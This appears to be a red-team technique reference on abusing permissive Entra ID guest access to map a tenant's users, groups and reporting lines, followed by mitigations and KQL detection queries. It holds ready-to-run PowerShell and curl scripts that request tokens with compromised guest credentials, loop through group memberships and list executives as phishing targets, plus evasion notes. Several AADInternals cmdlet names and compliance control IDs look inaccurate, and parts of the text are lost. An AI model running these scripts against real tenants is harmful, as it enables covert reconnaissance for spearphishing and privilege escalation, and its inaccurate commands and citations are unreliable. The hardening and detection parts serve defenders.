| Attribute | Details |
|---|---|
| Technique ID | MISCONFIG-015 |
| MITRE ATT&CK v18.1 | T1548 - Abuse Elevation Control Mechanism |
| Tactic | Privilege Escalation / Defense Evasion |
| Platforms | Entra ID / M365 |
| Severity | High |
| Technique Status | ACTIVE |
| Last Verified | 2026-01-10 |
| Affected Versions | All Entra ID / Microsoft 365 versions |
| Patched In | N/A (Configuration-based, not a code vulnerability) |
| Author | SERVTEP – Artur Pchelnikau |
Concept: By default, Entra ID allows guest users limited access to directory properties and group memberships. However, the default configuration still permits guests to enumerate user and group objects, perform LDAP-style queries via Microsoft Graph API (with minimal logging), and identify high-value targets for phishing or privilege escalation attacks. A compromised or social-engineered guest account can map the entire organizational structure, identify executives, and discover sensitive groups without triggering alerts.
Attack Surface: Microsoft Graph API enumeration, lack of conditional access controls for guest access, insufficient audit logging for guest user enumeration activities, overly permissive guest access restrictions setting.
Business Impact: Enhanced reconnaissance capability enabling targeted phishing, privilege escalation, and lateral movement. Guests can discover group owners, mail-enabled security groups, high-privilege users, and sensitive department structures, all without any authentication audit log entries.
Technical Context: Enumeration typically takes seconds using tools like AADInternals or Graph API queries. Most organizations don’t audit Graph API read operations, leaving this reconnaissance completely silent.
| Framework | Control / ID | Description |
|---|---|---|
| CIS Benchmark | 1.3 | Ensure that Guest users are restricted in their ability to enumerate the directory |
| DISA STIG | V-226479 | Entra ID must restrict guest user access to directory objects |
| CISA SCuBA | CA-2(2) | Guest Access Restrictions – Guests must not see group memberships or user properties |
| NIST 800-53 | AC-3 | Access Enforcement – External users must have minimal directory visibility |
| NIST 800-53 | AC-6(10) | Least Privilege – Guest accounts must follow stricter access controls than members |
| GDPR | Art. 5(1)(b) | Data Integrity and Confidentiality – Limit guest access to “data minimization” principle |
| DORA | Art. 8 | Third-Party Risk Management – Guest accounts from external vendors must be restricted |
| NIS2 | Art. 20 | Measures to Be Taken – Incident Investigation and Response – Guest account compromise requires immediate isolation |
| ISO 27001 | A.6.2.1 | User Registration and De-registration – Guest lifecycle must enforce separation from internal users |
| ISO 27001 | A.9.2.2 | User Access Rights – Guest rights must be reviewed and limited regularly |
| ISO 27005 | Risk Scenario | “Compromised guest account used for directory enumeration and targeted phishing” |
graph.microsoft.com); ability to authenticate as guest user.Supported Versions:
Tools (Optional):
# Connect as guest user
Connect-MgGraph -Scopes "User.Read.All", "Group.Read.All"
# Enumerate all users (only works if guest access is too permissive)
Get-MgUser -Top 999 | Select-Object -Property DisplayName, UserPrincipalName, Mail, JobTitle | Format-Table
# Enumerate all groups (including hidden groups if misconfigured)
Get-MgGroup -All | Select-Object -Property DisplayName, GroupTypes, SecurityEnabled | Format-Table
What to Look For:
JobTitle, Department, Manager (should be restricted for guests).# Using curl to test guest access to Microsoft Graph API
# First, authenticate as guest user and capture access token
TOKEN="<guest_user_access_token>"
# Query to list all users in organization
curl -H "Authorization: Bearer $TOKEN" \
"https://graph.microsoft.com/v1.0/users?$select=displayName,jobTitle,department,manager"
# Query to list all mail-enabled groups
curl -H "Authorization: Bearer $TOKEN" \
"https://graph.microsoft.com/v1.0/groups?$filter=mailEnabled%20eq%20true&$select=displayName,owners"
What to Look For:
# Connect as Entra ID admin
Connect-MgGraph -Scopes "Policy.Read.All"
# View current guest access level
Get-MgPolicyAuthorizationPolicy | Select-Object -Property GuestUserRoleId
Output Interpretation:
GuestUserRoleId = "a0b1b346-4d3e-4e8b-98f8-753987be4970" = Guest user (limited access)GuestUserRoleId = "10dae51f-b6af-4016-8d66-8c2a99b929b3" = Guest user - Restricted (most restrictive – recommended)Supported Versions: Entra ID all versions, AADInternals v0.9.0+
Objective: Compromise or socially engineer a guest account (external email).
Attack Vector:
Objective: Use AADInternals to enumerate all users in the tenant.
Script:
# Install AADInternals if not already installed
Install-Module AADInternals -Force
# Connect using guest user credentials
$creds = Get-Credential
Connect-AADInternal -Credentials $creds
# Enumerate users (only works if guest access is permissive)
Get-AADInternal-Users | Select-Object -Property DisplayName, UserPrincipalName, Department | Format-Table
# Output example:
# DisplayName UserPrincipalName Department
# John Smith john.smith@company.com Finance
# Jane Doe jane.doe@company.com Executive
# CEO Name ceo@company.com C-Suite
Expected Output (If Vulnerable):
[+] Retrieved 542 users from directory:
- CEO@company.com (Chief Executive Officer, C-Suite)
- CFO@company.com (Chief Financial Officer, Finance)
- SecurityAdmin@company.com (Security Architect, IT)
- DL-Board-Members@company.com (Distribution List)
What This Means:
Objective: Discover high-value groups for lateral movement or privilege escalation.
Script:
# Enumerate all groups
Get-AADInternal-Groups | Select-Object -Property DisplayName, GroupType, SecurityEnabled | Where-Object {$_.SecurityEnabled -eq "true"}
# Enumerate group members (only works if accessible to guest)
Get-AADInternal-GroupMembers -GroupId "<high-value-group-id>" | Select-Object -Property DisplayName, UserPrincipalName
# Example high-value targets:
# - "Global Admins" or "Security Groups"
# - "Board of Directors"
# - "Finance Team" or "HR Team"
# - "Executive Distribution List"
Expected Output (If Vulnerable):
[+] Security Groups accessible to guest:
- "Finance-Admin" (5 members including CFO)
- "Board-Management" (12 members including CEO, Board Members)
- "IT-Infrastructure" (8 members including Security Admin)
Objective: Map reporting hierarchy to identify privilege escalation paths.
Script:
# Query manager relationships (may be visible in user properties)
Get-AADInternal-Users | Where-Object {$_.Manager} | Select-Object -Property DisplayName, Manager | Format-Table
# Build org chart mapping for social engineering:
# Example output:
# Employee Manager
# Junior Developer Development Manager
# Development Manager Director of Engineering
# Director of Engineering VP Engineering
# VP Engineering CTO
OpSec & Evasion:
References & Proofs:
Supported Versions: Entra ID all versions
Objective: Authenticate as guest user and obtain Bearer token.
Script (Bash):
TENANT_ID="<target_tenant_id>"
CLIENT_ID="<guest_app_id>" # Can be any app or device code flow
USERNAME="external_guest@outlook.com"
PASSWORD="<compromised_password>"
# Request token using Resource Owner Password Credentials flow (ROPC)
TOKEN_RESPONSE=$(curl -s -X POST \
"https://login.microsoftonline.com/$TENANT_ID/oauth2/v2.0/token" \
-d "client_id=04b07795-8ddb-461a-bbee-02f9e1bf7b46" \
-d "scope=https://graph.microsoft.com/.default" \
-d "username=$USERNAME" \
-d "password=$PASSWORD" \
-d "grant_type=password")
ACCESS_TOKEN=$(echo $TOKEN_RESPONSE | jq -r '.access_token')
echo "[+] Access token obtained: ${ACCESS_TOKEN:0:50}..."
Objective: Query all users and their properties.
Script (Bash):
# List all users with properties
curl -s -H "Authorization: Bearer $ACCESS_TOKEN" \
"https://graph.microsoft.com/v1.0/users?$select=displayName,userPrincipalName,jobTitle,department,manager" \
| jq '.value[] | {displayName, userPrincipalName, jobTitle, department}'
# Output example:
# {
# "displayName": "CEO Name",
# "userPrincipalName": "ceo@company.com",
# "jobTitle": "Chief Executive Officer",
# "department": "C-Suite"
# }
Objective: Discover high-value groups.
Script (Bash):
# List all groups
curl -s -H "Authorization: Bearer $ACCESS_TOKEN" \
"https://graph.microsoft.com/v1.0/groups?$filter=securityEnabled%20eq%20true&$select=displayName,id" \
| jq '.value[] | {displayName, id}' > /tmp/groups.json
# For each group, enumerate members
while IFS= read -r group_id; do
GROUP_ID=$(echo $group_id | jq -r '.id')
GROUP_NAME=$(echo $group_id | jq -r '.displayName')
echo "[+] Group: $GROUP_NAME"
curl -s -H "Authorization: Bearer $ACCESS_TOKEN" \
"https://graph.microsoft.com/v1.0/groups/$GROUP_ID/members?$select=displayName,userPrincipalName" \
| jq '.value[] | {displayName, userPrincipalName}'
done < /tmp/groups.json
OpSec & Evasion:
/users, /groups, /me/manager endpoints from guest account.Manual Steps (Entra ID Admin Center):
Manual Steps (PowerShell):
Connect-MgGraph -Scopes "Policy.ReadWrite.Authorization"
# Set to most restrictive guest access
Update-MgPolicyAuthorizationPolicy -GuestUserRoleId "10dae51f-b6af-4016-8d66-8c2a99b929b3"
Manual Steps (Conditional Access Policy):
Block Guest Graph API AccessManual Steps (Entra ID):
Action 1: Implement Conditional Access for Guest Logins
Manual Steps (Conditional Access):
Guest Users – Require MFAAction 2: Audit Guest User Lifecycle and Revoke Unnecessary Invitations
PowerShell Script:
Connect-MgGraph -Scopes "User.Read.All", "UserAuthenticationMethod.Read.All"
# List all guest users and their last sign-in date
Get-MgUser -Filter "userType eq 'Guest'" -All | Select-Object -Property DisplayName, UserPrincipalName, CreatedDateTime | ForEach-Object {
$user = $_
$lastSignIn = Get-MgUserSignInActivity -UserId $user.UserPrincipalName | Select-Object -First 1 -Property LastSignInDateTime
Write-Host "Guest: $($user.DisplayName) | Last Sign-In: $($lastSignIn.LastSignInDateTime)" -ForegroundColor Yellow
# Option: Remove guests who haven't signed in for 90 days
if ($lastSignIn.LastSignInDateTime -lt (Get-Date).AddDays(-90)) {
Write-Host " [!] Removing inactive guest..." -ForegroundColor Red
# Remove-MgUser -UserId $user.Id
}
}
Action 3: Enable Microsoft Defender for Cloud Apps (CASB) to Monitor Guest Activity
Manual Steps:
Guest User Directory Enumeration/users, /groupsGraph API Scopes: Ensure service principals only request necessary scopes (avoid broad Directory.Read.All).
Manual Steps (App Permissions):
# Check current guest access restriction level
Connect-MgGraph -Scopes "Policy.Read.All"
Get-MgPolicyAuthorizationPolicy | Select-Object -Property GuestUserRoleId
Expected Output (If Secure):
GuestUserRoleId
10dae51f-b6af-4016-8d66-8c2a99b929b3 # Most restrictive
Query 1: Guest User Directory Enumeration via Graph API
let guestAccounts = (
IdentityInfo
| where AccountUPN has "@outlook.com" or AccountUPN has "@gmail.com" or AccountUPN has "#EXT#"
| distinct AccountUPN
);
MicrosoftGraphActivityAudit
| where TimeGenerated > ago(24h)
| where UserAgent contains "Python" or UserAgent contains "curl" or UserAgent contains "PowerShell"
| where RequestUri contains "/users" or RequestUri contains "/groups" or RequestUri contains "/members"
| where tolower(UserPrincipalName) in (guestAccounts)
| summarize QueryCount=count() by UserPrincipalName, RequestUri, TimeGenerated
| where QueryCount > 5
What This Detects:
Query 2: Suspicious Group Member Enumeration
MicrosoftGraphActivityAudit
| where RequestUri matches regex "/groups/.*/members"
| where StatusCode == 200
| where tolower(UserPrincipalName) has "#EXT#"
| summarize EnumeratedGroups=count() by UserPrincipalName, TimeGenerated
| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Initial Access | [IA-PHISH-001] Device Code Phishing | Attacker tricks user into compromising guest account |
| 2 | Current Step | [MISCONFIG-015] | Guest uses over-permissioned access to enumerate directory |
| 3 | Reconnaissance | [REC-CLOUD-004] AADInternals Enumeration | Attacker maps organization structure and identifies targets |
| 4 | Privilege Escalation | [IA-PHISH-005] Internal Spearphishing | Attacker targets high-value users (CEO, CFO) with tailored phishing |